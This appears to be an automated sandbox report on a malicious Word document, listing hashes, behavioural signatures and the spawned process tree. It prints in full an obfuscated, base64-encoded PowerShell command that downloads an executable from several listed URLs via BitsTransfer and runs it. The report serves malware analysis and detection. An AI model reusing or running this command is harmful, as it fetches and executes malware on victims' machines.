Resubmissions
17-07-2020 17:26
200717-8r1l42ntsx 1017-07-2020 17:23
200717-wzdaf5tpz6 1017-07-2020 16:22
200717-fram2knmh6 10Analysis
-
max time kernel
50s -
max time network
17s -
platform
windows10_x64 -
resource
win10 -
submitted
17-07-2020 17:23
General
-
Target
89d3f52d387fb432d62c6d34158f3f035811110bd2fadc91693cdc9780838249.doc
-
Size
189KB
-
MD5
4b86dd7bf648560f7d41e1ee00aac68b
-
SHA1
f8c4dd551f317731293f23c8b08a64bce27039d2
-
SHA256
89d3f52d387fb432d62c6d34158f3f035811110bd2fadc91693cdc9780838249
-
SHA512
12d82915826131cd90ef2bbd54fbd7524c4d86dd862dfe6b444a68386309cb7404042493b750ccd2ddd47395f65f075c4d944faeae6b4678d0cdde9baecc1b31
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 3 IoCs
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Enumerates system info in registry 2 TTPs 3 IoCs
-
Suspicious use of SetWindowsHookEx 10 IoCs
-
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\89d3f52d387fb432d62c6d34158f3f035811110bd2fadc91693cdc9780838249.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e LgAoACcASQBtAHAAJwArACcAbwAnACsAJwByAHQALQAnACsAJwBNACcAKwAnAG8AZAB1AGwAZQAnACkAIABCAEkAdABzAFQAUgBBAG4AcwBGAGUAUgA7ACQAZwBhAGkAdgB5AG8AZwBnAGkAZQBrAGQAbwBqAHgAYQB1AG0AbABvAGEAbQA9ACcAaAB0AHQAcABzADoALwAvAHIAYQBtAHUAawBhAGsAYQBvAG4AbABpAG4AZQAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AYwB4AFMAegBtAFMAWABOAC8AKgBoAHQAdABwADoALwAvAHMAaAB1AGIAaABpAG4AZgBvAHcAYQB5AHMALgBjAG8AbQAvAHAALwBYAEUAYwBjADUAeAAxAHEAeAA3ADMALwAqAGgAdAB0AHAAOgAvAC8AdABlAHMAdAAyAC4AYwB4AHkAdwAuAG4AZQB0AC8AaAB5AGUAaAB0ADMALwBhAFcAeQBiAGsAegBpAC8AKgBoAHQAdABwADoALwAvAHMAdQBzAHQAYQBpAG4AYQBiAGwAZQBhAG4AZABvAHIAZwBhAG4AaQBjAGcAYQByAG0AZQBuAHQAcwAuAGMAbwBtAC8AawBvAG0AZQBuAHQAYQByAHoALwBLAEgARgA2AHIAeQA5ADIANgA1ADcALwAqAGgAdAB0AHAAOgAvAC8AcwB0AGEAZwBpAG4AZwAuAGkAYwB1AHMAawBpAG4ALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBvADUAaABoAHIAagA4AHcAdgBmAHYAMwA3ADIANwAyADkALwAnAC4AIgBzAGAAcABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAHcAYQBpAGQAagBpAHIAawBlAGkAYwBoAGIAbwB1AHMAZgBvAGEAYgA9ACAAKABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgAiAEcAYABlAFQAVABgAGUATQBwAFAAQQBgAFQAaAAiACgAKQArACcAXABzAGUAeQB6AG8AdQBwAGgAZQBhAHQAaAAuAGUAeABlACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAHQAdQB1AHQAbABvAGUAYwBuAGEAdQBjAGcAdQB1AHQAdgBlAGkAZgAgAGkAbgAgACQAZwBhAGkAdgB5AG8AZwBnAGkAZQBrAGQAbwBqAHgAYQB1AG0AbABvAGEAbQApAHsAdAByAHkAewAmACgAJwBTAHQAYQByAHQALQBCACcAKwAnAGkAdABzAFQAcgAnACsAJwBhACcAKwAnAG4AcwBmAGUAcgAnACkAIAAtAFMAbwB1AHIAYwBlACAAJAB0AHUAdQB0AGwAbwBlAGMAbgBhAHUAYwBnAHUAdQB0AHYAZQBpAGYAIAAtAEQAZQBzAHQAaQBuAGEAdABpAG8AbgAgACQAdwBhAGkAZABqAGkAcgBrAGUAaQBjAGgAYgBvAHUAcwBmAG8AYQBiADsALgAoACcAUwAnACsAJwB0AGEAJwArACcAcgB0AC0AUAByAG8AJwArACcAYwBlAHMAcwAnACkAIAAkAHcAYQBpAGQAagBpAHIAawBlAGkAYwBoAGIAbwB1AHMAZgBvAGEAYgA7AGIAcgBlAGEAawA7AH0AYwBhAHQAYwBoAHsAfQB9AA==1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
20KB
-
Filesize
12KB
-
Filesize
12KB
-
Filesize
68KB
-
Filesize
48KB
-
Filesize
48KB